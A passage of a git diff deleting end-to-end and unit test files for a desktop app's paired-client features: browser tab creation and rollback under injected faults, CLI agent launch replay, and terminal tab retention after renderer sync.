(state?.browserPagesByWorkspace[workspace.id] ?? []).map( - (browserPage) => - state?.remoteBrowserPageHandlesByPageId[browserPage.id]?.remotePageId ?? browserPage.id - ) - ) - }, worktreeId) -} - -async function findMirroredPageId( - page: Page, - worktreeId: string, - url: string -): Promise { - return page.evaluate( - ({ url, worktreeId }) => { - const state = window.__store?.getState() - for (const workspace of state?.browserTabsByWorktree[worktreeId] ?? []) { - const browserPage = (state?.browserPagesByWorkspace[workspace.id] ?? []).find((candidate) => - candidate.url.startsWith(url) - ) - if (browserPage) { - return browserPage.id - } - } - return null - }, - { url, worktreeId } - ) -} - -async function openLinkFromRemotePane(page: Page, testInfo: TestInfo): Promise { - const frame = page.locator('[data-testid="remote-browser-frame"]:visible').first() - await expect(frame).toBeVisible({ timeout: 60_000 }) - await frame.click({ button: 'right', position: { x: 60, y: 60 }, force: true }) - const open = page.getByRole('menuitem', { name: 'Open Link In Orca Browser' }) - await expect(open).toBeVisible({ timeout: 30_000 }) - await page.screenshot({ - path: testInfo.outputPath('sta-4231-owner-pinned-link-route.png'), - fullPage: true - }) - await open.click() -} - -test('returns a headed host page identity before owner-pinned navigation can time out @headful', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo: TestInfo) => { - test.setTimeout(300_000) - const fixture = await startHeldNavigationServer() - let client: PairedElectronClient | null = null - try { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const hostClient = new RuntimeClient(userDataDir, 5_000) - client = await launchPairedElectronClient(offer, testInfo, 'STA-4231 navigation deadline') - const cdp = await client.page.context().newCDPSession(client.page) - const visibility = await cdp.send('Runtime.evaluate', { - expression: 'document.visibilityState', - returnByValue: true - }) - expect(visibility.result.value).toBe('visible') - const worktreeId = await findPairedWorktreeId(client, testRepoPath) - const baselineHostPageIds = await readHostBrowserPageIds(hostClient, worktreeId) - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - - const firstPromise = createOwnerPinnedBrowser( - client.page, - client.environmentId, - worktreeId, - fixture.url - ) - await expect.poll(fixture.pendingCount, { timeout: 30_000 }).toBe(1) - const firstHostPageId = await expect - .poll( - async () => { - const ids = await readHostBrowserPageIds(hostClient, worktreeId) - return ids.find((id) => !baselineHostPageIds.includes(id)) ?? null - }, - { timeout: 30_000, message: 'host never registered the owner-pinned page' } - ) - .not.toBeNull() - .then(async () => { - const ids = await readHostBrowserPageIds(hostClient, worktreeId) - return ids.find((id) => !baselineHostPageIds.includes(id)) ?? null - }) - const first = await firstPromise - - let retry: CreateOutcome | null = null - if (!first.ok) { - const retryPromise = createOwnerPinnedBrowser( - client.page, - client.environmentId, - worktreeId, - fixture.url - ) - await expect.poll(fixture.pendingCount, { timeout: 30_000 }).toBe(2) - retry = await retryPromise - } - const hostPageIds = (await readHostBrowserPageIds(hostClient, worktreeId)).filter( - (id) => !baselineHostPageIds.includes(id) - ) - await expect - .poll(() => readClientBrowserPageIds(client!.page, worktreeId), { - timeout: 30_000, - message: 'paired client did not materialize the canonical host page' - }) - .toContain(firstHostPageId) - await client.page.screenshot({ - path: testInfo.outputPath('sta-4231-headed-canonical-page.png'), - fullPage: true - }) - - expect({ first, firstHostPageId, hostPageIds, retry }).toEqual({ - first: { error: null, ok: true, pageId: firstHostPageId }, - firstHostPageId, - hostPageIds: [firstHostPageId], - retry: null - }) - } finally { - fixture.release() - await client?.dispose() - await fixture.close() - } -}) - -test('opens the held URL through the owner-pinned remote-pane link route @headful', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo: TestInfo) => { - test.setTimeout(300_000) - const fixture = await startHeldNavigationServer() - let client: PairedElectronClient | null = null - try { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - const hostClient = new RuntimeClient(userDataDir, 5_000) - client = await launchPairedElectronClient(offer, testInfo, 'STA-4231 owner-pinned link route') - const worktreeId = await findPairedWorktreeId(client, testRepoPath) - await client.page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - await hostClient.call('browser.tabCreate', { - activate: true, - url: fixture.sourceUrl, - worktree: `id:${worktreeId}` - }) - const sourcePageId = await expect - .poll(() => findMirroredPageId(client!.page, worktreeId, fixture.sourceUrl), { - timeout: 60_000, - message: 'paired client never mirrored the source browser pane' - }) - .not.toBeNull() - .then(() => findMirroredPageId(client!.page, worktreeId, fixture.sourceUrl)) - if (!sourcePageId) { - throw new Error('Source browser page disappeared') - } - await client.page.evaluate( - ({ pageId, worktreeId }) => - window.__store?.getState().focusBrowserTabInWorktree(worktreeId, pageId, { - surfacePane: true - }), - { pageId: sourcePageId, worktreeId } - ) - const baselineHostPageIds = await readHostBrowserPageIds(hostClient, worktreeId) - - await openLinkFromRemotePane(client.page, testInfo) - await expect.poll(fixture.pendingCount, { timeout: 30_000 }).toBe(1) - const createdPageId = await expect - .poll( - async () => { - const ids = await readHostBrowserPageIds(hostClient, worktreeId) - return ids.find((id) => !baselineHostPageIds.includes(id)) ?? null - }, - { timeout: 30_000, message: 'link route never registered a host page' } - ) - .not.toBeNull() - .then(async () => { - const ids = await readHostBrowserPageIds(hostClient, worktreeId) - return ids.find((id) => !baselineHostPageIds.includes(id)) ?? null - }) - expect(createdPageId).not.toBeNull() - await expect - .poll(() => readClientBrowserPageIds(client!.page, worktreeId), { - timeout: 30_000, - message: 'link route did not materialize the canonical host page' - }) - .toContain(createdPageId) - expect( - (await readHostBrowserPageIds(hostClient, worktreeId)).filter( - (id) => !baselineHostPageIds.includes(id) - ) - ).toEqual([createdPageId]) - } finally { - fixture.release() - await client?.dispose() - await fixture.close() - } -}) diff --git a/tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts b/tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts deleted file mode 100644 index fd45cdf6c91..00000000000 --- a/tests/e2e/paired-browser-creation-reconciliation-failure.spec.ts +++ /dev/null @@ -1,371 +0,0 @@ -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { RuntimeClient } from '../../src/cli/runtime/client' -import { expect, test } from './helpers/orca-app' -import { readHostBrowserPageIds, readHostTabs } from './helpers/host-session-tabs' -import { - launchHeadlessPairedRuntimeHost, - type HeadlessPairedRuntimeHost -} from './helpers/headless-paired-runtime-host' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient, - type RuntimeDesktopPairingOffer -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -type FaultSnapshot = { - armed: boolean - capabilityRejectionArmed: boolean - createdPageId: string | null - suppressedPageIds: string[] -} - -type FaultWindow = Window & { - __webRuntimeBrowserCreationFault?: { - arm: () => void - armCapabilityRejection: () => void - release: () => boolean - reset: () => void - snapshot: () => FaultSnapshot - } -} - -// Drives the real create menu so the failure surfaces through handleNewBrowserTab's toast. -async function startBrowserCreate(page: Page): Promise { - await page.evaluate(() => window.__store?.getState().setBrowserDefaultUrl('about:blank')) - await page.getByRole('button', { name: 'New tab' }).first().click() - const newBrowserTab = page.getByRole('menu').getByRole('button', { name: 'New Browser Tab' }) - await expect(newBrowserTab).toBeVisible({ timeout: 30_000 }) - await newBrowserTab.click() -} - -async function readStableHostTabs(hostClient: RuntimeClient, repoPath: string) { - const { publicationEpoch, snapshotVersion, ...state } = await readHostTabs(hostClient, repoPath) - expect(publicationEpoch).not.toBe('') - expect(snapshotVersion).toBeGreaterThan(0) - return state -} - -type ClientTabState = { - browserTabIds: string[] - browserWorkspaceIds: string[] - editorTabIds: string[] - groupIds: string[] - terminalTabIds: string[] -} - -async function readClientTabs(page: Page, worktreeId: string): Promise { - return page.evaluate((targetWorktreeId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Paired client store unavailable') - } - const unifiedTabs = state.unifiedTabsByWorktree[targetWorktreeId] ?? [] - return { - browserTabIds: unifiedTabs - .filter((tab) => tab.contentType === 'browser') - .map((tab) => tab.id), - browserWorkspaceIds: (state.browserTabsByWorktree[targetWorktreeId] ?? []).map( - (workspace) => workspace.id - ), - editorTabIds: unifiedTabs.filter((tab) => tab.contentType === 'editor').map((tab) => tab.id), - groupIds: (state.groupsByWorktree[targetWorktreeId] ?? []).map((group) => group.id), - terminalTabIds: unifiedTabs - .filter((tab) => tab.contentType === 'terminal') - .map((tab) => tab.id) - } - }, worktreeId) -} - -async function runReconciliationFailureJourney(args: { - hostClient: RuntimeClient - offer: RuntimeDesktopPairingOffer - repoPath: string - testInfo: TestInfo - topology: 'headed' | 'headless' -}): Promise { - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient( - args.offer, - args.testInfo, - `${args.topology} browser reconciliation failure` - ) - await client.app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.show()) - const page = client.page - const worktreeId = await expect - .poll( - () => - page.evaluate((repoPath) => { - const state = window.__store?.getState() - return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null - }, args.repoPath), - { timeout: 60_000, message: 'paired client never received the host worktree' } - ) - .not.toBeNull() - .then(() => - page.evaluate((repoPath) => { - const state = window.__store?.getState() - return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null - }, args.repoPath) - ) - if (!worktreeId) { - throw new Error('Paired client worktree disappeared after discovery') - } - await page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - await expect - .poll(() => readClientTabs(page, worktreeId), { - timeout: 60_000, - message: 'paired client did not materialize the host terminal' - }) - .toMatchObject({ terminalTabIds: expect.arrayContaining([expect.any(String)]) }) - - const baselineClient = await readClientTabs(page, worktreeId) - expect(baselineClient.terminalTabIds).not.toHaveLength(0) - const baselineHostBrowserIds = await readHostBrowserPageIds(args.hostClient, args.repoPath) - - await page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser reconciliation E2E fault seam unavailable') - } - fault.arm() - }) - await startBrowserCreate(page) - - const faultSnapshot = await expect - .poll( - () => - page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ), - { timeout: 30_000, message: 'host browser creation never reached the held fault seam' } - ) - .toMatchObject({ armed: true, createdPageId: expect.any(String) }) - .then(() => - page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ) - ) - const createdPageId = faultSnapshot?.createdPageId - if (!createdPageId) { - throw new Error('Held browser creation did not expose its exact host page id') - } - - expect(await readHostBrowserPageIds(args.hostClient, args.repoPath)).toContain(createdPageId) - // Hold host creation after the real menu stages an optimistic tab, then require rollback to remove it. - const heldClient = await readClientTabs(page, worktreeId) - const addedSince = (baseline: string[], held: string[]): string[] => { - expect(held).toEqual(expect.arrayContaining(baseline)) - return held.filter((id) => !baseline.includes(id)) - } - expect(addedSince(baselineClient.browserTabIds, heldClient.browserTabIds)).toHaveLength(1) - expect( - addedSince(baselineClient.browserWorkspaceIds, heldClient.browserWorkspaceIds) - ).toHaveLength(1) - expect(heldClient.editorTabIds).toEqual(baselineClient.editorTabIds) - expect(heldClient.terminalTabIds).toEqual(baselineClient.terminalTabIds) - expect(heldClient.groupIds).toEqual(baselineClient.groupIds) - - await page.screenshot({ - path: args.testInfo.outputPath(`${args.topology}-browser-reconciliation-held.png`), - fullPage: true - }) - expect( - await page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.release() ?? false - ) - ).toBe(true) - await expect( - page.getByText('The paired runtime could not create a managed browser tab.') - ).toBeVisible({ timeout: 30_000 }) - await expect - .poll(() => readHostBrowserPageIds(args.hostClient, args.repoPath), { - timeout: 30_000, - message: 'rollback did not close the exact host browser page' - }) - .not.toContain(createdPageId) - const settledClient = await expect - .poll(() => readClientTabs(page, worktreeId), { - timeout: 30_000, - message: 'client split and browser state did not settle after rollback' - }) - .toMatchObject({ - browserTabIds: baselineClient.browserTabIds, - browserWorkspaceIds: baselineClient.browserWorkspaceIds, - editorTabIds: baselineClient.editorTabIds, - groupIds: baselineClient.groupIds, - terminalTabIds: baselineClient.terminalTabIds - }) - .then(() => readClientTabs(page, worktreeId)) - expect(settledClient).toEqual(baselineClient) - expect(await readHostBrowserPageIds(args.hostClient, args.repoPath)).toEqual( - baselineHostBrowserIds - ) - await page.evaluate(() => (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset()) - } finally { - await client?.dispose() - } -} - -async function runCapabilityFailureJourney(args: { - hostClient: RuntimeClient - offer: RuntimeDesktopPairingOffer - repoPath: string - testInfo: TestInfo - topology: 'headed' | 'headless' -}): Promise { - let client: PairedElectronClient | null = null - try { - client = await launchPairedElectronClient( - args.offer, - args.testInfo, - `${args.topology} browser capability failure` - ) - await client.app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.show()) - const page = client.page - const worktreeId = await expect - .poll( - () => - page.evaluate((repoPath) => { - const state = window.__store?.getState() - return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null - }, args.repoPath), - { timeout: 60_000, message: 'paired client never received the host worktree' } - ) - .not.toBeNull() - .then(() => - page.evaluate((repoPath) => { - const state = window.__store?.getState() - return state?.allWorktrees().find((worktree) => worktree.path === repoPath)?.id ?? null - }, args.repoPath) - ) - if (!worktreeId) { - throw new Error('Paired client worktree disappeared after discovery') - } - await page.evaluate( - ({ environmentId, worktreeId }) => { - window.__store?.getState().setActiveWorktree(worktreeId, `runtime:${environmentId}`) - }, - { environmentId: client.environmentId, worktreeId } - ) - await expect - .poll(() => readClientTabs(page, worktreeId), { - timeout: 60_000, - message: 'paired client did not materialize the host terminal' - }) - .toMatchObject({ terminalTabIds: expect.arrayContaining([expect.any(String)]) }) - - const baselineClient = await readClientTabs(page, worktreeId) - const baselineHost = await readStableHostTabs(args.hostClient, args.repoPath) - - await page.evaluate(() => { - const fault = (window as FaultWindow).__webRuntimeBrowserCreationFault - if (!fault) { - throw new Error('Browser capability E2E fault seam unavailable') - } - fault.armCapabilityRejection() - }) - await startBrowserCreate(page) - - await expect(page.getByText(/E2E forced browser capability rejection/)).toBeVisible({ - timeout: 30_000 - }) - // Require null page id: baseline equality also holds when a successful host create is later rolled back. - expect( - await page.evaluate( - () => (window as FaultWindow).__webRuntimeBrowserCreationFault?.snapshot() ?? null - ) - ).toMatchObject({ createdPageId: null }) - await expect - .poll(() => readClientTabs(page, worktreeId), { - timeout: 30_000, - message: 'client split state did not settle after capability rejection' - }) - .toEqual(baselineClient) - expect(await readStableHostTabs(args.hostClient, args.repoPath)).toEqual(baselineHost) - await page.screenshot({ - path: args.testInfo.outputPath(`${args.topology}-browser-capability-rejected.png`), - fullPage: true - }) - await page.evaluate(() => (window as FaultWindow).__webRuntimeBrowserCreationFault?.reset()) - } finally { - await client?.dispose() - } -} - -test('rolls back a headed-host browser when client reconciliation times out @headful', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - await runReconciliationFailureJourney({ - // Allow browser.tabList’s initial view activation/webview registration, which can exceed the client’s usual 5s. - hostClient: new RuntimeClient(userDataDir, 30_000), - offer, - repoPath: testRepoPath, - testInfo, - topology: 'headed' - }) -}) - -test('cleans up a headed-host browser when capability rejects before create @headful', async ({ - electronApp, - orcaPage, - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData')) - await runCapabilityFailureJourney({ - // Allow browser.tabList’s initial view activation/webview registration, which can exceed the client’s usual 5s. - hostClient: new RuntimeClient(userDataDir, 30_000), - offer, - repoPath: testRepoPath, - testInfo, - topology: 'headed' - }) -}) - -test('keeps browser failure cleanup on a headless host', async ({ testRepoPath }, testInfo) => { - test.setTimeout(300_000) - const host: HeadlessPairedRuntimeHost = await launchHeadlessPairedRuntimeHost() - try { - await host.client.call('repo.add', { path: testRepoPath, kind: 'git' }) - await host.client.call('terminal.create', { - worktree: `path:${testRepoPath}`, - title: 'Browser failure cleanup canary' - }) - await runReconciliationFailureJourney({ - hostClient: host.client, - offer: host.offer, - repoPath: testRepoPath, - testInfo, - topology: 'headless' - }) - await runCapabilityFailureJourney({ - hostClient: host.client, - offer: host.offer, - repoPath: testRepoPath, - testInfo, - topology: 'headless' - }) - } finally { - await host.dispose() - } -}) diff --git a/tests/e2e/paired-cli-agent-launch.unit.test.ts b/tests/e2e/paired-cli-agent-launch.unit.test.ts deleted file mode 100644 index 4691bed3355..00000000000 --- a/tests/e2e/paired-cli-agent-launch.unit.test.ts +++ /dev/null @@ -1,106 +0,0 @@ -import { mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import { RuntimeClient } from '../../src/cli/runtime/client' -import type { AgentLaunchResult } from '../../src/shared/agent-launch/contracts/agent-launch-intent' -import { openTestAgentSessionRecordStore } from '../../src/main/runtime/agent-session/records/agent-session-record-store-test-harness' -import { OrcaRuntimeService } from '../../src/main/runtime/orca-runtime' -import { OrcaRuntimeRpcServer } from '../../src/main/runtime/rpc/server/runtime-rpc' -import { - runtimeStub, - setAgentLaunchRecordStore -} from '../../src/main/runtime/rpc/methods/agent-launch/agent-launch.test-fixture' -import { AGENT_LAUNCH_METHODS } from '../../src/main/runtime/rpc/methods/agent-launch/agent-launch' -import { STATUS_METHODS } from '../../src/main/runtime/rpc/methods/host-management/status' -import { closeTestJournalHostDatabase } from '../../src/main/native-chat/agent-session-journal/store-lifecycle/journal-host-database-test-support' - -const TARGETS = [ - { kind: 'existing', worktree: 'id:wt-7' }, - { kind: 'create-worktree', create: { repo: 'id:repo-1', name: 'paired-task' } }, - { kind: 'create-folder-workspace', create: { projectGroupId: 'group-1' } } -] as const - -describe.each([ - { method: 'agent.launch', path: 'preflight' }, - { method: 'agent.launch', path: 'verified-status' }, - { method: 'agent.launchReplay', path: 'preflight' }, - { method: 'agent.launchReplay', path: 'verified-status' } -])('paired CLI $method via $path', ({ method, path }) => { - it.each(TARGETS)('launches and replays $kind without a second agent', async (target) => { - const directory = mkdtempSync(join(tmpdir(), 'orca-paired-cli-launch-')) - const store = await openTestAgentSessionRecordStore(directory) - setAgentLaunchRecordStore(store) - const boundary = runtimeStub({ - settings: {}, - terminalPaneKey: '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d:3f2504e0-4f89-41d3-9a0c-0305e82c3301', - startupTerminalPaneKey: - '9b1deb4d-3b7d-4bad-9bdd-2b0d7b3dcb6d:3f2504e0-4f89-41d3-9a0c-0305e82c3301', - lineCarriesPrompt: true - }) - const runtime = Object.assign(new OrcaRuntimeService(), boundary, { - selectCreatedMobileSessionTabForClient: vi.fn(() => true) - }) - const server = new OrcaRuntimeRpcServer({ - runtime, - userDataPath: directory, - methods: [...STATUS_METHODS, ...AGENT_LAUNCH_METHODS], - enableWebSocket: true, - wsPort: 0 - }) - try { - await server.start() - const offer = server.createPairingOffer({ name: 'paired-cli', scope: 'runtime' }) - if (!offer.available) { - throw new Error('pairing unavailable') - } - const client = new RuntimeClient(directory, 5_000, offer.pairingUrl, null) - if (path === 'verified-status') { - await client.getCliStatus() - } - const params = { - agent: 'claude', - target, - presentation: 'background', - operationId: `${Date.now()}-000000000000000000000000000000ef`, - prompt: { text: 'Reply with OK', delivery: 'submit' } - } - const first = await client.call(method, params) - expect(first.result).toMatchObject({ - outcome: { kind: 'terminal' }, - worktreeId: - target.kind === 'existing' - ? 'wt-7' - : target.kind === 'create-worktree' - ? 'wt-new' - : 'folder:fw-new', - prompt: { delivery: 'submit', outcome: 'handed-to-terminal' } - }) - const replay = await client.call(method, params) - expect(replay.result).toEqual(first.result) - if (target.kind === 'create-worktree') { - expect(boundary.createManagedWorktree).toHaveBeenCalledTimes(1) - expect(boundary.createTerminal).not.toHaveBeenCalled() - } else if (target.kind === 'create-folder-workspace') { - expect(boundary.createTerminal).not.toHaveBeenCalled() - expect(boundary.createFolderWorkspace).toHaveBeenCalledWith( - expect.objectContaining({ startupAgent: 'claude', startupPrompt: 'Reply with OK' }) - ) - } else { - expect(boundary.createTerminal).toHaveBeenCalledTimes(1) - expect(boundary.createTerminal).toHaveBeenCalledWith( - expect.any(String), - expect.objectContaining({ startupAgent: 'claude', startupPrompt: 'Reply with OK' }) - ) - } - expect(boundary.createFolderWorkspace).toHaveBeenCalledTimes( - target.kind === 'create-folder-workspace' ? 1 : 0 - ) - } finally { - await server.stop() - setAgentLaunchRecordStore(null) - await closeTestJournalHostDatabase(directory) - rmSync(directory, { recursive: true, force: true }) - } - }) -}) diff --git a/tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts b/tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts deleted file mode 100644 index 9c07422b7b1..00000000000 --- a/tests/e2e/paired-cli-terminal-graph-sync-tab-retention.spec.ts +++ /dev/null @@ -1,256 +0,0 @@ -// Use an attached desktop host and separate paired desktop; assert renderer-first publication so the host-created daemon @@ tab inherits its epoch. -// Renderer snapshots omit that CLI pane; a headless epoch or windowless host would miss the original persistence-fence failure. -// One retained inventory after sync means only not-yet-pruned: stale writes can delete persistence before later sync/restart. -// The first host-admitted tab must raise the topology fence; neither clientMutationId nor preceding tabs independently protects it. -import { rmSync } from 'node:fs' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { - toWebTerminalSurfaceTabId, - WEB_TERMINAL_SURFACE_TAB_PREFIX -} from '../../src/shared/workspace-layout/terminal-surface-id' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { - createHostCliTerminal, - createHostRendererTerminalTab, - createRetentionFixtureDirectory, - proveSameLivePty, - readHostInventoryWhenTabAppears, - readHostTerminalInventory, - writeRetentionFixture, - type HostCreatedTerminal, - type RuntimeRpcCall -} from './helpers/host-created-terminal-retention-oracle' - -const scratch = createRetentionFixtureDirectory() -const fixturePath = writeRetentionFixture(scratch) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function createPairedRuntimeCall(page: Page, environmentId: string): RuntimeRpcCall { - return async (method: string, params: unknown): Promise => - page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -async function readClientTerminalStrip(page: Page, worktreeId: string): Promise { - return page.evaluate( - ({ worktreeId, prefix }) => - (window.__store?.getState().tabsByWorktree[worktreeId] ?? []) - .map((tab) => tab.id) - .filter((tabId) => tabId.startsWith(prefix)), - { worktreeId, prefix: WEB_TERMINAL_SURFACE_TAB_PREFIX } - ) -} - -/** The strip exactly as it read on the poll tick that first carried `tabId`. */ -async function readClientStripWhenTabAppears( - page: Page, - worktreeId: string, - tabId: string, - message: string -): Promise { - let strip: string[] = [] - await expect - .poll( - async () => { - strip = await readClientTerminalStrip(page, worktreeId) - return strip.includes(tabId) - }, - { timeout: 60_000, message } - ) - .toBe(true) - return strip -} - -type RetentionFixture = { - call: RuntimeRpcCall - unrelatedWorktreeId: string - worktreeId: string -} - -async function prepareRetentionFixture( - orcaPage: Page, - client: PairedElectronClient -): Promise { - const call = createPairedRuntimeCall(client.page, client.environmentId) - const { worktreeId, unrelatedWorktreeId } = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - const active = state?.activeWorktreeId - if (!state || !active) { - throw new Error('Host has no active worktree') - } - const unrelated = state.allWorktrees().find((worktree) => worktree.id !== active) - if (!unrelated) { - throw new Error('Host fixture needs a second worktree for the unrelated-workspace control') - } - return { worktreeId: active, unrelatedWorktreeId: unrelated.id } - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id) ?? false, - worktreeId - ), - { timeout: 60_000, message: 'Paired client never saw the host worktree' } - ) - .toBe(true) - - // Require renderer publication before CLI create so a headless epoch cannot protect the tab. - const rendererTabId = await createHostRendererTerminalTab(orcaPage, worktreeId) - const rendererOwned = await readHostInventoryWhenTabAppears( - call, - worktreeId, - rendererTabId, - 'Host never published the renderer terminal tab' - ) - expect( - rendererOwned.publicationEpoch, - 'the attached-window topology requires a renderer-owned publication; a headless epoch takes a different, already-correct path' - ).toMatch(/^renderer:/) - await readClientStripWhenTabAppears( - client.page, - worktreeId, - toWebTerminalSurfaceTabId(rendererTabId), - 'Paired client never mirrored the host renderer terminal tab' - ) - return { call, unrelatedWorktreeId, worktreeId } -} - -// Measure one CLI create and renderer sync with inventory/process and unrelated-workspace checks. -// Only precedingHostTerminal differs: false makes the target the repo’s first host-admitted tab, the original missing-fence case. -async function runCliTerminalRetentionJourney( - orcaPage: Page, - testInfo: TestInfo, - clientName: string, - precedingHostTerminal: boolean -): Promise { - const client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - clientName - ) - const hostPageErrors: string[] = [] - const clientPageErrors: string[] = [] - orcaPage.on('pageerror', (error) => hostPageErrors.push(String(error))) - client.page.on('pageerror', (error) => clientPageErrors.push(String(error))) - const createdHandles: string[] = [] - let call: RuntimeRpcCall | null = null - try { - const fixture = await prepareRetentionFixture(orcaPage, client) - call = fixture.call - const { unrelatedWorktreeId, worktreeId } = fixture - const baselineStrip = await readClientTerminalStrip(client.page, worktreeId) - - const createUnrelated = async (): Promise => { - const terminal = await createHostCliTerminal( - fixture.call, - unrelatedWorktreeId, - fixturePath, - path.join(scratch, `${clientName}-unrelated.log`) - ) - createdHandles.push(terminal.handle) - return terminal - } - - const preceding = precedingHostTerminal ? await createUnrelated() : null - const cli = await createHostCliTerminal( - fixture.call, - worktreeId, - fixturePath, - path.join(scratch, `${clientName}-target.log`) - ) - createdHandles.push(cli.handle) - const unrelated = preceding ?? (await createUnrelated()) - - const secondRendererTabId = await createHostRendererTerminalTab(orcaPage, worktreeId) - - // Judge the same inventory frame that adds the renderer tab and could drop the CLI tab. - const afterSync = await readHostInventoryWhenTabAppears( - fixture.call, - worktreeId, - secondRendererTabId, - 'Host never republished with the second renderer tab' - ) - expect( - afterSync.tabIds, - 'the renderer graph sync pruned the CLI-created terminal out of the host session inventory' - ).toContain(cli.tabId) - expect( - afterSync.ptyIdByTabId[cli.tabId], - 'the surviving tab must still name the original PTY, not a replacement' - ).toBe(cli.ptyId) - - await proveSameLivePty(fixture.call, cli, 'after-sync') - - // Require the paired client to track this sync; a stranded mirror alone still shows the old tab. - const strip = await readClientStripWhenTabAppears( - client.page, - worktreeId, - toWebTerminalSurfaceTabId(secondRendererTabId), - 'Paired client never applied the renderer graph sync that followed the CLI create' - ) - expect(strip, 'the paired client dropped the CLI-created terminal from its strip').toContain( - toWebTerminalSurfaceTabId(cli.tabId) - ) - expect([...strip].sort()).toEqual( - [ - ...baselineStrip, - toWebTerminalSurfaceTabId(cli.tabId), - toWebTerminalSurfaceTabId(secondRendererTabId) - ].sort() - ) - - // NEGATIVE SAFETY: no fanout into an unrelated workspace, no local fallback. - const unrelatedInventory = await readHostTerminalInventory(fixture.call, unrelatedWorktreeId) - expect(unrelatedInventory.tabIds, 'an unrelated workspace lost its CLI terminal').toContain( - unrelated.tabId - ) - expect(unrelatedInventory.ptyIdByTabId[unrelated.tabId]).toBe(unrelated.ptyId) - await proveSameLivePty(fixture.call, unrelated, 'unrelated-alive') - expect( - await client.getDirectSshAttemptTargetIds(), - 'the paired client must reach the host through the pairing, never a local connection' - ).toEqual([]) - expect(hostPageErrors, 'host renderer raised an uncaught error').toEqual([]) - expect(clientPageErrors, 'paired client renderer raised an uncaught error').toEqual([]) - } finally { - for (const handle of createdHandles) { - await call?.('terminal.closeTab', { terminal: handle }).catch(() => undefined) - } - await client.dispose() - } -} - -// The real CLI omits clientMutationId: its first host-admitted tab must establish persistence authority. -// Reverting store.ts/pty.ts fails at host inventory retention. -test('keeps a host-created CLI terminal that is the first one on the host', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(600_000) - await runCliTerminalRetentionJourney(orcaPage, testInfo, 'cli-terminal-graph-sync-first', false) -}) diff --git a/tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts b/tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts deleted file mode 100644 index fe834cdc6d3..00000000000 --- a/tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts +++ /dev/null @@ -1,123 +0,0 @@ -// A paired client must get a first terminal in a worktree the fully started desktop host has never opened or published. -import { existsSync, readFileSync } from 'node:fs' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from 